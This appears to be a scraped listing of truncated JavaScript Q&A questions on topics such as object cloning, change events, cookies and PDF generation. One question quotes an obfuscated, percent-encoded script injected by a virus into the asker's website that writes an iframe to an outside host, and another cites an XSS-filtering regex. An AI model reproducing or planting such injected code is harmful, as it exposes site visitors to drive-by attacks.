javascript

javascript deep json clone

I am trying to build small functions to simulate Class related functionalities (ok, I know about frameworks), in the fellowing example, the code almost work, it fails on deep cloning, somehow the Test.options.* fails to clone/copy, in all created objects options.* is the same reference, any idea what I have been doing wrong? //* class l...

Input change event on blur

I need to trigger an input change event, but only if the value changed. And I need this done from a keyboard event. Is there a way to invoke the browser's change mechanism which will either trigger the change event to fire, or will not depending on if the value was modified? Example: User clicks on an input field User does not modify v...

Programatically stopping a specific chunk of code in html/javascript/css

The server that has my website on it also has a virus on it. The virus injects the malicious code <b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6...

Every element in an array being incremented simultaneously when only one should be.

I am using the following code to increment the elements in a 2d array surrounding a given element. EmptyCell = {number: 0}; //This has several parts in the actual code. list = new Array(); function init(w,h){ for (var x = 0; x <= w; x++){ list[x] = new Array(); for (var y = 0 ; y <= h; y++){ list[x][y]...

Is it possible to check for new Gmail emails using Javascript?

I want to know whether or not I have a new email from Gmail, but I don't want to go to Gmail all the time. Is it possible to use javascript to check if a new message has arrived? I know it is possible using php classes, but I would like to do it javascript also. ...

javascript setTimeout, page looks like is endlessly loading (firefox)

var checkTextValue = setTimeout(function() { var textVal = $('p').text(); if (textVal == 'expectedValue'){ callback(); } else { setTimeout(arguments.callee, 10); } },10); i have this code,it works just fine but the problem is that in firefox the page looks like is endlessly loading. ...

JavaScript DOM XSS Injection validation

Is this regular expression enough to catch all cross site scripting attempts when embedding HTML into the DOM. eg: Such as with document.write() (javascript:|<\s*script.*?\s*>) It is referenced in this document from modsecurity.com http://www.modsecurity.org/documentation/Ajax%5FFingerprinting%5Fand%5FFiltering%5Fwith%5FModSecurity%5...

Mochikit or Prototype for JavaScript Framework?

Trying to figure out which to use. ...

tracking download process with javascript

hi my question is, is that possible to track a download process with javascript or any other else. lets say i want to do some stuff when download finished or cancelled. is that possible ? Thanks ...

how to create a language file for text in javascript files?

My web application uses allot of javascript, and in the javascript I have messages that I report back to the user. What is the best way to extract the text from my javascript and store it externally in another .js language file, and how would I reference it in my js code going forward? Any best practices for this? ...

what exactly does the keyword prototype do in jquery?

Is the keyword (or method?) prototype in jquery kind of like extension methods? i.e. all classes will have this functionality available to it going forward? ...

Garbled characters in cookie

I store Chinese characters in cookie but the cookie value changes to garbled characters. What should I do? function createCookie(name, value, days) { if (days) { var date = new Date(); date.setTime(date.getTime() + (days * 1000 * 60 * 60 * 24)); var expires = "; expires=" + date.toGMTString(); } else ...

Console not defined when I specifically check for its existence

I'm writing a quick log function to wrap around the native console.log to prevent errors later on in development (like forgotten console.log statements in your code). I'm using the mootools $defined and $type functions to check for the existence of a console and the console.log function before calling it. However when I disable firebug...

Is it possible access other webpages from within another page

Basically, what I'm trying to do is simply make a small script that accesses finds the most recent post in a forum and pulls some text or an image out of it. I have this working in python, using the htmllib module and some regex. But, the script still isn't very convenient as is, it would be much nicer if I could somehow put it into an...

Round numbers in 15min javascript

I am trying to do a select box with 4 options 00,15,30,45 I want to take the current time and round it to 15 min increments, and have the value change. I have current_min = start_date.getMinutes(); $('#event-hour').val(current_min); I played with this roundedMinutes=(15*Math.floor(enteredMinutes/15)) but i couldn't get it to work r...

how to create a PDF file uing javascript in IE

I want to create a PDF file based on users' query result (in html table). What is the best javascript/lib I can use for IE? I found jsPDF but it does not support IE. ...

hide javascript/jquery scripts from html page ?

Hello guys, How do I hide my javascript/jquery scripts from html page (from view source on right click)? please give suggestion to achive this . Thanks. ...

What status code does ASP.Net (MVC) set when there is a session timeout?

Hi, We need to redirect the user to a session timed out page whenever the ASP.Net session times out. We fetch most of our content through AJAX calls and the user never navigates away from the default page. Is there any way to detect a session timeout on client side (in Javascript) without making any changes to the server-side code. Can ...

How to add an onchange event to a select box via javascript?

I've got a script where I am dynamically creating select boxes. When those boxes are created, we want to set the onchange event for the new box to point to a function called toggleSelect(). I can't seem to get the syntax right to create the onchange event. Can someone tell me what I'm doing wrong? It doesn't throw an error, but doe...

javascript profile in Firefox

(I know some people already asked questions about js profile, but that's not what I need if I understand them correctly.) I'd like to trace the execution of javascript to collect the information of 1) which function is invoked, 2) the time when the function is invoked, and 3) the execution time of the function. I want to collect the i...